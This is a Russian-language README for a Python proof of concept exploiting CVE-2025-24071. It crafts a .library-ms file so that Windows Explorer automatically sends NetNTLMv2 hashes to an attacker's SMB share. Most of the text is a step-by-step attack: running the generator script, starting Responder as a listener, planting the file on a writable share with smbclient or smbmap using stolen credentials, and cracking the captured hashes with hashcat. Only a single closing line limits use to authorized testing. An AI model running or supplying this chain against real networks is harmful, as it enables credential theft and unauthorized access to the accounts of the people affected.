
Python PoC для CVE-2025-24071, который создаёт файл .library-ms, чтобы заставить Windows Explorer раскрыть хеши NetNTLMv2 через SMB для перехвата и взлома.
CVE-2025-24071 — принудительная NTLM-аутентификация через .library-ms (метод SMB / TAR)
Запрашивает ваш IP атакующего и имя файла, создаёт .library-ms, указывающий на
\\<IP>\share, и упаковывает его в exploit.tar. Когда Explorer просматривает папку, в
которую попадает отдельный .library-ms, он автоматически разрешает этот UNC-путь и
передаёт NTLMv2 учётной записи на ваш слушатель — без единого клика.
⚠️ Срабатывает именно отдельный
.library-ms— а не.tar. Файл.tar, лежащий на шаре, инертен; Explorer не разбирает tar-архивы. Вы должны разместить сам.library-msна шаре как отдельный файл. Как это сделать, зависит от инструмента (см. ниже).
uv run coerce_library.py # or: python3 coerce_library.py
Attack IP [10.10.14.197]:
File name [documents]:
[+] documents.library-ms -> \\10.10.14.197\share
[+] packed into exploit.tar
sudo responder -I tun0
.library-ms на доступной для записи шареsmbclient — загрузите .tar, распакуйте его на стороне сервера командой tar x
(рядом появится отдельный .library-ms):
smbclient //<TARGET>/<SHARE> -U '<DOMAIN>/<USER>%<PASS>' -c 'put exploit.tar; tar x exploit.tar'
smbmap — не имеет шага распаковки, поэтому загружайте отдельный .library-ms
напрямую (загрузка .tar здесь ничего не даст — он не умеет его распаковывать):
smbmap -H <TARGET> -d <DOMAIN> -u <USER> -p <PASS> --upload exploit.library-ms 'IT/exploit.library-ms'
Убедитесь, что он оказался на шаре как отдельный файл:
smbclient //<TARGET>/<SHARE> -U '<DOMAIN>/<USER>%<PASS>' -c 'ls' | grep library
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
☧ только для авторизованного тестирования на проникновение / CTF / лабораторных условий ☧